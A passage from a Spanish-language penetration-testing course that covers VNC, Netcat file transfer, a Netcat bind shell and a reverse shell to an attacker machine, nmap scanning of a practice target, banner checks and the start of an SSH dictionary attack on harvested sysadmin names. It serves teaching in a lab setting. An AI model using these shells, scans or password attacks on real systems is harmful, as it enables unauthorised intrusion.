caso, hemos ejecutado:
alberaan@Smaug:~$ sudo apt-get install tftp
Podremos comprobar entonces, que el archivo lo tenemos en el directorio actual donde hemos
ejecutado el cliente tftp.
Servidor VNC
El último servicio básico que vamos a probar, es el vncserver. VNC (virtual network computing) es
un sistema de escritorio remoto, el cual puede ser muy útil en caso de querer realizar tests de
penetración. Ejecutaremos el vncserver en la backtrack:
bt ~ # vncserver
Password: acceder
Verify: acceder
Would you like to enter a view-only password (y/n)? n
En el código pegado arriba, he puesto el password visible, para poder poner un ejemplo. Ahora
Página 70
trataremos de acceder al escritorio remoto. Primero, vamos a comprobar que el servicio está
corriendo, y de paso, averiguamos el puerto concreto (puede variar de una versión a otra) , y
podemos hacer el netstat como hemos venido haciendo hasta ahora:
bt / # netstat -anu | grep 590
udp 0 0 0.0.0.0:5902 0.0.0.0:* LISTEN
Bien, ahora sabemos, que el puerto 5902 está escuchando el servidor vnc. Para comprobarlo, vamos
a usar el navegador web (en mi caso Firefox), y comprobar que funciona. Se cargará el siguiente
applet(Figura 21: ):
Figura 21:
Introducimos ahí la contraseña que hemos puesto al arrancar el vncserver, y nos encontramos con el
escritorio de nuestra backtrack(Figura 22: ):
Figura 22:
El servicio no funciona demasiado bien a través del cliente web, pero es una forma muy cómoda de
poder ver lo que hay al otro lado de la conexión, y poder manejarlo a golpe de click. Servicios
similares se vienen utilizando desde hace mucho tiempo por hackers para poder divertirse con la
víctima, ya que ofrece un control muy vistoso.
Una vez vistos todos los servicios básicos, es hora de avanzar hacia la siguiente sección, y estudiar
la herramienta Netcat.
Backtrack Netcat
Netcat es una herramienta multiplataforma que lee y escribe datos a través de conexiones de red.
Página 71
Era utilizado como una herramienta utilizada por administradores y programadores para depurar
apliaciones de red, con la curiosidad de que no se había descubierto todos los comandos que
mermitía. Por estos motivos, tuvo un gran auge entre la comunidad Hacker, y a menudo era referida
como “la navaja multiusos del hacker”. Entre otras cosas (que veremos más adelante), permite
comprobar disponibilidad de puertos, qué aplicaciones corren y escuchan este puerto, conectarnos a
un servicio de red de forma manual (como haríamos con Telnet). Fue usado, sobre todo por su
capacidad de abrir puertas traseras.
Una vez nos hemos documentado un poco sobre qué es, y un poco de su historia, nos sentamos
delante de nuestra Backtrack (que trae Netcat por defecto). Lo que se ha hecho, ha sido abrir de
nuevo el servidor ssh y el servidor Apache, para poder realizar las pruebas desde la máquina local
hacia la Backtrak, y aprender a conectarnos usando Netcat. Una vez nos hemos conectado a la
Backtrack por ssh tecleamos:
bt ~ # nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect
[dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to
8
-G num source-routing pointer: 4, 8,
12, ...
-h this cruft
-i secs delay interval for lines sent,
ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
Página 72
Aquí vemos las distintas opciones que nos ofrece Netcat. Una opción interesante, es “-vv” para
poder obtener la mayor información posible. Tecleamos para ver que aplicación hay escuchando en
el puerto 22 en nuestra propia máquina:
bt ~ # nc -vv 192.168.197.129 22
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 22 (ssh) open
SSH-1.99-OpenSSH_5.0
sent 0, rcvd 21
Efectivamente, hay un servidor ssh escuchando ese puerto. Concretamente, OpenSSH 5.0. Ahora,
vamos ver el puerto 80:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
sent 0, rcvd 0
El prompt se queda esperando a que realicemos alguna petición. Aquí, tecleamos una petición http,
y le damos a enter dos veces (importante, http espera 2 retornos de carro según el estándar), tras lo
cual obtenemos lo siguiente:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Página 73
Date: Fri, 13 Mar 2009 12:04:10 GMT
Server: Apache/2.2.8 (Unix) DAV/2
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "485a0-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
De aquí, lo más importante que obtenemos, son los datos del server (Apache versión 2.2.8 UNIX),
que nos servirá para en un futuro poder encontrar exploits o bugs conocidos para esa versión
concreta del servidor. Telnet nos ofrece esta misma información, pero vemos que nc incluye una
herramienta igual (o equivalente integrada), que nos proporciona la misma funcionalidad, por lo que
nos puede ser una herramienta sustituta, y así poder aprender como hacerlo en sistemas donde falte
una o la otra. También es bueno aprenderlo desde Netcat porque ya que es una herramienta que va a
integrar más funcionalidades, podemos trabajar de forma rápida con ella, al no tener que ir
cambiando de programa.
Acabamos de dejar escuchando en el puerto 12345 el netcat. Ahora, nos conectamos desde Ubuntu.
Abrimos una terminal y tecleamos:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Página 74
Figura 23:
La utilidad de esto en un principio podría parecer nula (mas allá de sus aplicaciones de ocio), pero
como veremos más adelante, el mundo de posibilidades que nos ofrece, es inmenso, sobre todo
desde el punto de vista de tests de intrusión. Una de nuestars metas a la hora de tratar de penetrar en
un sistema, será el poder colocar un Netcat en modo listen (o similar)en la máquina objetivo. Es por
ello, vital, aprender a realizar esto.
Envío de archivos
Lo siguiente que vamos a probar, es a enviar archivos mediante Netcat. La utilidad práctica de esto,
es que una vez tengamos acceso al sistema, podamos intercambiar ficheros con él, y poder
continuar con la auditoría. Un usuario malintencionado podría subir virus, troyanos etc.., y de igual
forma, nosotros podríamos subir software similar para poder continuar con la escalada de
privilegios, o continuar con el test de penetración en cuestión. Para ello, vamos a dejar netcat a la
escucha en Backtrack, y redirigiremos la salida a un archivo de texto:
bt ~ # nc -lvp 12345 > salida.txt
listening on [any] 12345 ...
Y desde Ubuntu, creamos el archivo de texto a enviar, y nos conectamos como hemos hecho antes,
enviando el contenido del archivo:
alberaan@Smaug:~$ echo Esto es un archivo > test.txt
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < test.txt
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Finalmente, vemos el contenido del archivo salida.txt que habrá quedado en Backtrack:
bt ~ # cat salida.txt
Esto es un archivo
Hemos de resaltar, que esto se podría hacer con cualquier tipo de archivo, ya que se transmite bit a
bit, por lo que podríamos transferir no sólo texto, sino cualquier tipo de archivo. Hemos realizado
de nuevo lo anterior, solo que redirigiendo un archivo de imagen en lugar de texto, y transferido con
el mismo método. Desde Backtrack:
Página 75
bt ~ # nc -lvp 12345 > imagen.jpeg
listening on [any] 12345 ...
Desde Ubuntu:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < imagen.jpeg
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Finalmente, desde Backtrack podemos abrir la imagen con cualquier visor de imágenes, y
comprobar, que efectivamente, el archivo se ha transferido correctamente.
Esta última parte, resultó ser sorprendente: ¿como es posible que, con un programa con el que antes
habíamos enviado texto, podamos ahora enviar una imagen?
Ahora que ya conocemos como comunicarnos con la máquina víctima, es un paso lógico el
aprender como controlarla con una shell.
Administración remota
Vamos a ejecutar desde Ubuntu el Netcat para que abra una shell en la máquina remota, y poder
ejecutar comandos. Esta es una de las metas de cualquier hacker, para tener control sobre la
máquina/as objetivo. El asaltarla, y el poder procurarse de una interfaz para poder interactuar con la
máquina, y dejarse una puerta trasera para poder acceder posteriormente de una forma más fácil y
rápida. Netcat ofrece una forma de hacerlo, ya que permite el que se ejecute un programa en cuanto
algo se conecte a él. Lo primero que podemos pensar, es en una shell: bash. Dicho esto, vamos a
proceder a obtener control desde Ubuntu sobre Backtrack:
Desde backtrack dejaremos netcat a la escucha del puerto 12345, tal y como hemos hecho antes.
Ahora usaremos un nuevo parámetro: -e seguido del ejecutable que queremos que se ejecute al
conectarse a él un cliente. Hay que añadir, que no ejecutará el programa si no ponemos la ruta
completa o la relativa. Como queremos obtener una shell, ponemos la shell de linux que está en
/bin/bash. En nuestro caso nos hemos movido a ese directorio y ejecutado la orden desde allí. En
caso de querer obtener una shell en windows, lo que haríamos sería poner cmd.exe, que es la “shell”
que ofrece esta gama de sistemas operativos. A continuación la orden en backtrack:
bt bin # nc -lvp 12345 -e bash
listening on [any] 12345 ...
192.168.197.1: inverse host lookup failed: Unknown host
connect to [192.168.197.129] from (UNKNOWN) [192.168.197.1] 44119
Hemos puesto Netcat a la escucha, y decidmos que queremos que ejecute bash.
Ahora nos conectamos desde la shell de Ubuntu, tal y como venimos haciendo hasta ahora. Esto
hará que se ejecute el bash en la máquina cliente, y podremos empezar a trabajar como si fuera una
shell local (aunque algunas cosas cambiarán, por ejemplo, no se mantienen los alias):
alberaan@Smaug:~$ nc -v 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Página 76
Aquí (aunque no aparezca el promt), podemos ejecutar órdenes igual que si fuera nuestra propia
shell: hemos conseguido entrar en el sistema (con los permisos que tenga el usuario que haya
ejecutado el Netcat en la máquina víctima).
Shell inversa
Muchas veces, sucede que no tenemos control sobre el cómo acceder a la máquina víctima. Ya sea
porque la máquina víctima tiene una IP dinámica, no es visible desde otras redes porque está tras un
router con NAT. También puede ser porque el firewall filtre las conexiones entrantes etc... Una
buena idea para solventar esto, es usar Netcat para crear una shell inversa.
Una shell remota normal, abre un puerto y espera recibir conexiones entrantes desde un cliente (el
modo de proceder está descrito en el paso anterior). Esto no se podría hacer en alguno de los casos
descritos en el párrafo anterior.
Una shell inversa, se suele utilizar cuando se da un caso de los mencionados arriba. Es el cliente el
que se conecta a un puerto abierto de la máquina atacante. De esta forma, el atacante puede
controlar que no se den las condiciones mencionadas en su propia red/máquina.
Vista la importancia de esta opción en netcat, pasamos a probarlo en nuestras terminales:
Para este ejemplo, vamos a usar la máquina local (Ubuntu) como atacante, y la Backtrack como
víctima.
Desde Ubuntu, dejamos netcat a la escucha, de la misma forma que venimos haciendo hasta ahora:
alberaan@Smaug:~$ nc -lvp 12345
listening on [any] 12345 ...
Y desde Backtrack, le decimos a que IP conectarnos, y que ejecute /bin/bash en cuanto se realice la
conexión:
bt ~ # nc -v 192.168.197.1 12345 -e /bin/bash
192.168.197.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.1] 12345 (?) open
Ahora, desde nuestra máquina ubuntu, podemos ejecutar un ls, para comprobar que efectivamente,
tenemos una shell abierta en Backtrack. Como nota adicional, podemos ver, que el atacante se
conecta como si fuera el usuario que ejecuta el netcat en la máquina víctima. Desde ubuntu
ejecutamos el comando whoami (para saber que usuario somos), y obtenemos como respuesta:
whoami
root
Con esto, finalizamos la primera parte del trabajo. Ya conocemos algunas herramientas y servicios
básicos que tenemos a nuestra disposición y pasamos a la segunda parte.
Test de penetración
La finalidad de esta segunda parte, será el mostrar el aprendizaje de herramientas y técnicas para
poder realizar un Test de Penetración haciendo uso de la distribución BackTrack. Es decir,
aplicaremos los conocimientos aprendidos en el primer taller a un ejemplo “real” (emulado), y nos
adentraremos en los test de intrusión en un sistema que no importará que se dañe, y legal para
realizarlo, y por lo tanto, un entorno de prácticas ideal.
Como segundo objetivo, será el obtener la contraseña de root del sistema atacado.
Página 77
Introducción
Conociendo ya algunas herramientas de seguridad, y tras haber estudiado la auditoría OSSTMM,
tenemos el conocimiento suficiente como para poder realizar un pequeño test de intrusión, y
adentrarnos en un caso concreto. Este escenario, es una .iso que fue creada con la finalidad de ser
utilizada como entorno de pruebas de seguridad informática. Su descripción es la siguiente:
El escenario sobre el cual vamos a trabajar, emula el CEO (Chief
Executive Officer o director ejecutivo) de una pequeña empresa que
ha sido presionado por el Comité Administrativo para ser objeto de
un Test de Penetración a realizarse desde la empresa. El Director
General afirma que su empresa es segura, cree además de que este
Test de Penetración será un enorme desperdicio de dinero, sobre
todo porque ya tiene una solución de exploración (escaneo) de
vulnerabilidades (Nessus). Para hacer “felices” a los del Comité
Administrativo, él decide contratarle a usted y le dá un plazo de
5 días para realizar el trabajo, pues como se mencionó él no cree
que la empresa sea vulnerable a cualquier intento de acceso no
autorizado.
Su tarea es analizar solo un servidor en el cual se aloja una
página Web que ofrece información de contacto de la misma.
El Director General espera que usted intente con todos los tipos
de ataques que estén a su disposición, pues está seguro de que
usted no podrá vulnerar el sistema y obtener acceso.
Demostrar que el sistema es vulnerable sería la mejor manera de
concienciar al Director General, para desde allí implementar
mejores prácticas en materia de seguridad Informática.
NMAP
Introducción
NMAP o Network Mapper, es una herramienta, que en un principio es un scanner de puertos. Es
decir, nos sirve para comprobar qué está escuchando en un determinado puerto. Pero, también nos
sirve para, por ejemplo, ejecutar scripts que ejecuten malware, hacer pings a redes enteras etc... Es
un programa libre, y está atribuido Fyodor.
Nmap apareció en septiembre de 1997, en un artículo de la revista Phrack Magazine. El código
fuente venía incluido. Desde entonces se han incluido cientos de mejoras, y está considerado como
el escaner de puertos por excelencia.
Poniéndonos ya con aspectos prácticos, vamos a intentar descubrir la IP de nuestro sistema
virtualizado. Lo llamaremos a partir de ahora “red virtualizada”.
Página 78
Host discovery
Lo primero que hacemos, es hacer un host discovery. Como ya hemos dicho, lo primero que
debemos hacer al entrar en un sistema, es ver que hay. Hacer un host discovery se refiere a echar un
vistazo a ver que máquinas existen, y están funcionando. Nos interesará para que posteriormente
podamos hacer estudios de estas máquinas disponibles sin tener que generar demasiado trabajo a
nuestras herramientas, y se centren solamente en las máquinas disponibles.
Para ello, vamos a hacer un ping scan (hace pings a todas las máquinas que especifiquemos en el
rango. ¿Ahora bien, a que rango se lo hacemos? Desde Ubuntu, vamos a ver nuestras interfaces
virtuales, para saber en que red está nuestra red virtualizada. Hacemos ifconfig, y nos aparecen las
siguientes interfaces virtuales:
vmnet1 Link encap:Ethernet direcciónHW 00:50:56:c0:00:01
inet dirección:172.16.5.1 Difusión:172.16.5.255
Máscara:255.255.255.0
dirección inet6: fe80::250:56ff:fec0:1/64
Alcance:Vínculo
ARRIBA DIFUSIÓN CORRIENDO MULTICAST MTU:1500 Métrica:1
RX packets:1 errors:0 dropped:0 overruns:0 frame:0
TX packets:797 errors:0 dropped:0 overruns:0 carrier:0
colisiones:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Bien, tenemos ips de nuestra máquina, pertenecientes a dos redes virtuales. Tambien nos fijamos en
la máscara, y así tenemos 2 redes que investigar: 172.16.5.1/24 y 192.168.197.1/24. El /24 la
obtenemos de la máscara de subred (255.255.255.0). Bien, hagamos el ping scan, con el comando:
namp -n -sP 192.168.197.0/24
Página 79
Nmap done: 256 IP addresses (1 host up) scanned in 2.110 seconds
Es decir, solo una máquina: la nuestra. Probando en la otra ip, obtenemos los mismos resultados.
Aquí, se nos ocurre pensar, que quizás las máquinas estén no respondiendo a los pings (algo muy
aconsejable), por lo que tenemos que tomar otras medidas para intentar averiguar la ip por la cual
tratar con la red.
Escaneo de puertos
Vamos a intentar escanear puertos, a ver si encontrásemos alguno abierto o filtrado. Algo que nos
indique que hay una máquina corriendo, y que aplicaciones o servicios están corriendo. Encontrará
incluso las versiones de los programas que están escuchando a los servicios. Para ello, hacemos un
escaneo de puertos cualquiera (por ejemplo el stealth -sS), y reducimos el rango de puertos a los
típicos, reduciendo así el tiempo que durará el test:
sudo nmap -PN -sS -p80,22 192.168.197.0/24
Errores
Hemos intentado acceder a la página web donde se muestran las instrucciones para la realización
del test de intrusión (una introducción hacia la distribución live preparada para prácticas de test de
penetración). Habíamos visto, que la ip objetivo, era 192.168.197.254. Pero esta ip no nos sirve
páginas web (El firefox no nos sirve la página). Investigando, nos damos cuenta de que las ips
acabadas en 254 suelen corresponder a routers. En nuestro caso, debe de ser algún router virtual
creado por VMWARE. Por lo tanto, estamos en las mismas. Investigando sobre esta distribución,
nos damos cuenta de que la web que sirve la página es 192.168.1.100. Pero ésta sigue sin responder.
Intentamos buscarla haciendo escaneos de puertos y de ips a lo largo de nuestras redes, pero no hay
manera de encontrarla, y no somos capaces de acceder.
Finalmente, tras un trabajo de investigación y pruebas, decidimos cambiar la ip de nuestra backtrack
a la subred 192.168.1.0/24, haciendo que pertenezca a la red de la distribución:
Página 80
bt ~ # ifconfig eth0 192.168.1.4
bt ~ # ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:19:FD:5D
inet addr:192.168.1.4 Bcast:192.168.1.255
Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500
Metric:1
RX packets:111 errors:0 dropped:0 overruns:0 frame:0
TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:132902 (129.7 KiB) TX bytes:6000 (5.8 KiB)
Base address:0x1080 Memory:e8820000-e8840000
Figura 24:
Página 81
Máquinas online
Vamos a probar de nuevo a hacer un barrido a ver cuantas máquinas encontramos conectadas en la
red 192.168.1.0/24 (el Host descovery descrito antes). Para ello, podemos hacerlo de 2 formas, y así
aprendemos las dos:
bt ~ # nmap -sP 192.168.1.1-254
En ambas, hemos puesto la opción -sP (ping scan), y en la primera, hemos puesto un rango de ips.
En la segunda, hemos hecho lo mismo, solo que hemos especificado una máscara de red, en lugar
de un rango. En ambas obtenemos la misma respuesta: en la red, está nuestro equipo, y el servidor
web que hemos visitado antes.
Apuntaremos los datos de la máquina que nos interesa:
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (Vmware)
Este tipo de escaneo, es bastante común, y algunas herramientas gráficas (por ejemplo Zenmap) que
implementan NMAP, lo traen por defecto. Vamos a explicar un poco las opciones:
-PE: NMAP puede enviar paquetes de ICMP tipo 8 (echo request) a la ip objetivo, y esperar la
respuesta de tipo 0 (echo request), de aquellos hosts que estén disponibles. Muchas veces este tipo
de pings están filtrados por muchos administradores, por lo que muchas veces se suelen hacer otros
Página 82
tipos de escaneo. Nosotros lo incluimos para ver cuales nos contestan.
-v: verbose, para mostrar más detalles
-p1-65535: queremos que escanee desde el puerto 1 al 65535 con el -PE.
-PA21,23,80,3389: con esto, vamos a hacer un ACK scan a los puertos más comunes de tcp, el 21,
23, 80 y el 3389. Enviaremos paquetes ACK para ver que nos contestan, y así poder determinar si
están abiertos o no. Enviamos un ACK para hacerle saber a la víctima que confirmamos una
conexión existente (aunque realmente no existe). La máquina objetivo nos contestará con un RST
(reset, ya que ésta no sabe nada de esta conexión inventada por nosotros), y sabremos que
efectivamente, hay algo escuchando ahí.
-A: permite que le pongamos opciones de escaneo “agresivas”. Además, nos buscará las versiones
de los programas que están escuchando en los puertos. En nuestro caso además de lo anterior, nos
permite utilizar la opción -T4, que pasaremos a explicar a continuación.
-T4: prohíbe que el el escaneo dinámico exceda los 10ms para puertos TCP. El escaneo dinámico
se suele utilizar para burlar algunos sistemas de detección de intrusos mediante el cambio de tiempo
entre escaneo y escaneo, de forma que sea más dificil de evitar. Las versiones más recientes de
SNORT son capaces de detectar esto.
Por último, hemos introducido la dirección ip de la víctima. A continuación, mostramos la salida de
nuestro escaneo:
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:24 CEST
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 13:24, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:24
Completed Parallel DNS resolution of 1 host. at 13:24, 13.00s
elapsed
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.100 [65535 ports]
Discovered open port 25/tcp on 192.168.1.100
Discovered open port 21/tcp on 192.168.1.100
Discovered open port 80/tcp on 192.168.1.100
Discovered open port 22/tcp on 192.168.1.100
Discovered open port 143/tcp on 192.168.1.100
SYN Stealth Scan Timing: About 6.33% done; ETC: 13:32 (0:07:23
remaining)
SYN Stealth Scan Timing: About 26.57% done; ETC: 13:29 (0:03:35
remaining)
Discovered open port 110/tcp on 192.168.1.100
Completed SYN Stealth Scan at 13:28, 193.07s elapsed (65535 total
ports)
Initiating Service scan at 13:28
Scanning 6 services on 192.168.1.100
Completed Service scan at 13:28, 6.03s elapsed (6 services on 1
Página 83
host)
Initiating OS detection (try #1) against 192.168.1.100
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 13:28
Completed SCRIPT ENGINE at 13:28, 0.05s elapsed
Host 192.168.1.100 appears to be up ... good.
Interesting ports on 192.168.1.100:
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
|_ SSH Protocol Version 1: Server supports SSHv1
25/tcp open smtp Sendmail 8.13.7/8.13.7
| SMTP: Responded to EHLO command
| slax.example.net Hello [192.168.1.4], pleased to meet you
| ENHANCEDSTATUSCODES
| PIPELINING
| 8BITMIME
| SIZE
| DSN
| ETRN
| AUTH DIGEST-MD5 CRAM-MD5
| DELIVERBY
| 250 HELP
| Responded to HELP command
| 2.0.0 This is sendmail version 8.13.7
| 2.0.0 Topics:
| 2.0.0 HELO EHLO MAIL RCPT DATA
| 2.0.0 RSET NOOP QUIT HELP VRFY
| 2.0.0 EXPN VERB ETRN DSN AUTH
| 2.0.0 STARTTLS
| 2.0.0 For more info use "HELP <topic>".
| 2.0.0 To report bugs in the implementation see
| 2.0.0 http://www.sendmail.org/email-addresses.html
Página 84
| 2.0.0 For local information send email to Postmaster at your
site.
|_ 2.0.0 End of HELP info
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
|_ HTML title: Site doesn't have a title.
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.20
Uptime: 0.025 days (since Wed Apr 8 12:51:41 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: slax.example.net; OS: Unix
Como datos interesantes, podemos ver los puertos que ha encontrado abiertos, y ha tratado de
averiguar que servicio, y versión de los programas que lo implementan, está usando:
21/tcp open ftp vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
Running: Linux 2.6.X
OS details: Linux 2.6.13 – 2.6.20
Página 85
Anotamos esto último para posterior consulta. Estos datos nos serán importantes, ya que serán
posibles entradas al sistema. Además, nos está mostrando el sistema operativo que está instalada la
máquina.
Otro escaneo interesante, puede ser con las opciones -P0 (para evitar que haga ping antes de cada
escaneo de puerto, ya que muchos sistemas tienen desactivado la respuesta a pings), -sS para que
haga el escaneo con SYN en vez de ACK:
bt ~ # nmap -P0 -sS -p 21,22,23,80,110,443,3306 192.168.1.100
Hay muchas opciones interesantes mas, como -sV para que compruebe las versiones.
Como vemos, Nmap nos ha servido de forma rápida y eficiente, y nos ha dado bastante información
del sistema. Nos ha dado bastantes caminos que podemos seguir en el futuro para intentar explotar
las vulnerabilidades del sistema, y reduciendo así, el número de pruebas que podemos realizar.
Pero.. hemos de tener en cuenta, que estos datos pudieran ser no fiables: es posible que NMAP se
hubiera equivocado. Y aun así, NMAP trabaja en función de las respuestas que le devuelven los
distintos protocolos implementados, y como los tratan los programas que están a la escucha. Por lo
tanto, lo siguiente que habría que hacer, es verificar que, efectivamente, son esos los servicios (y si
podemos, los programas también) que NMAP nos está diciendo que son.
Página 86
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW Imapd 2004.357
443/tcp closed https
Running: Linux 2.6.X
OS details: Linux 2.6.13 – 2.6.20
Como buen test de intrusión, vamos a comprobar, que efectivamente hay esos servicios a la
escucha. Lo más sencillo, es ir servicio a servicio, conectándonos a ellos con las herramientas que
dispongamos, y tratar de interactuar con ellos mediante comandos del protocolo en cuestión. Si nos
devuelve las respuestas que esperamos a esos comandos, entonces el servicio será el que NMAP nos
ha dado.
Probamos pues, el primer servicio, el FTP. Escribimos en consola:
bt ~ # ftp
ftp> open
(to) 192.168.1.100
Connected to 192.168.1.100.
500 OOPS: could not bind listening IPv4 socket
Como vemos, no podemos conectarnos al servidor FTP, bien sea por una configuración incorrecta
intencionada o no intencionada. Pasemos pues al siguiente sercicio, SSH:
bt ~ # ssh 192.168.1.100
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be
established.
RSA key fingerprint is
ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (RSA) to the list of
known hosts.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Aquí si que podemos ver, que efectivamente hay un servidor SSH escuchando, y que al loguearnos,
nos pide una contraseña. Como obviamente no la conocemos, apretamos CONTROL-C para salir
del programa. Probemos pues, el siguiente el sendmail:
bt ~ # telnet 192.168.1.100 25
Trying 192.168.1.100...
Connected to 192.168.1.100.
Página 87
Escape character is '^]'.
220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 24 Apr
2009 12:10:07 GMT
Vemos que tras intentar conectarnos, nos devuelve el banner del Sendmail. Por lo tanto, el servidor
está activo. Probemos ahora el puerto 80, desde nuestro conocido netcat:
bt ~ # nc 192.168.1.100 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2009 12:12:53 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
X-Powered-By: PHP/5.1.2
Connection: close
Content-Type: text/html
El siguiente de los servicios, es uno que NMAP reconoce como Openwall popa3d. Tras googlear un
poco, descubrimos que se trata de un pequeño daemon de POP3 diseñado con la seguridad como
máximo objetivo. Intentemos conectarnos:
bt ~ # telnet 192.168.1.100 110
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
+OK
USER Pepe
+OK
PASS hola
-ERR Authentication failed (bad password?)
Connection closed by foreign host.
El servicio está activo, y además acepta comandos típicos de POP3. El siguiente servicio, un IMAP.
Intentemos la conexión:
bt ~ # telnet 192.168.1.100 143
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
•OK[CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS
AUTH=LOGIN] [192.168.1.100] IMAP4rev1 2004.357 at Fri, 24 Apr 2009
12:30:11 +0000 (GMT)
•
Página 88
También está activo. Ya hemos probado todos los servicios que nos ha proporcionado NMAP, y
comprobado que efectivamente, son todos correctos, dando así por concluida, la sección de NMAP.
Recolección de información
De entre todos los servicios encontrados en el sistema, el mas interesante parece que es el SSH.
Esto es así por dos razones: la primera, es que dado que intentamos simular una auditoría, por lo
que no deberíamos llevar a cabo acciones que pudieran poner en peligro el sistema (por ejemplo,
buffer overflows, denegaciones de servicio etc), y una buena forma de respetar esto, es mediante el
uso de ataques de diccionario (se explicará más adelante). La segunda razón es, que ya que vamos a
realizar un ataque de diccionario, lo ideal es explotar un servicio que directamente nos devuelva una
shell. Indagando por la web que nos ofrecía el CEO, :
Vemos los distintos mails, que suelen coincidir con los nombres de usuario (o al menos, tenemos los
nombres de los componentes de la empresa, para empezar a indagar como será su nombre de
usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy interesante (ya que son
administradores, y probablemente tengan acceso por ssh al sistema, que es lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp
Ataques de diccionario
Para comprender un ataque de diccionario, primero deberíamos entender que es un ataque de fuerza
bruta. Un ataque de este tipo, es ir probando combinaciones de letras de tal forma, que acertemos
con el login y password de un usuario y podamos acceder al sistema. Éste método, no es muy
rápido, por lo que deberíamos de refinarlo. Aquí es donde entra en juego el ataque de diccionario.
Reduciremos los intentos de contraseña mediante el uso de palabras conocidas como passwords
comunes, nombres de actores, nombres bíblicos etc... de tal forma que eliminemos palabras
absurdas.
Para realizar un ataque de diccionario, necesitaremos 2 elementos: logins y passwords. Pasemos
primero, a ver como conseguir los nombres de usuario.
Página 89
Figura 25:
Nombres de usuario
Vemos los distintos mails(Figura 25: ), que suelen coincidir con los nombres de usuario (o al
menos, tenemos los nombres de los componentes de la empresa, para empezar a indagar como será
su nombre de usuario). Además, nos fijamos en los “SySAdmin” que serán objetivos muy
interesante (ya que son administradores, y probablemente tengan acceso por ssh al sistema, que es
lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp
Vamos a crear un diccionario de nombres de usuario, donde aparezcan distintas combinaciones con
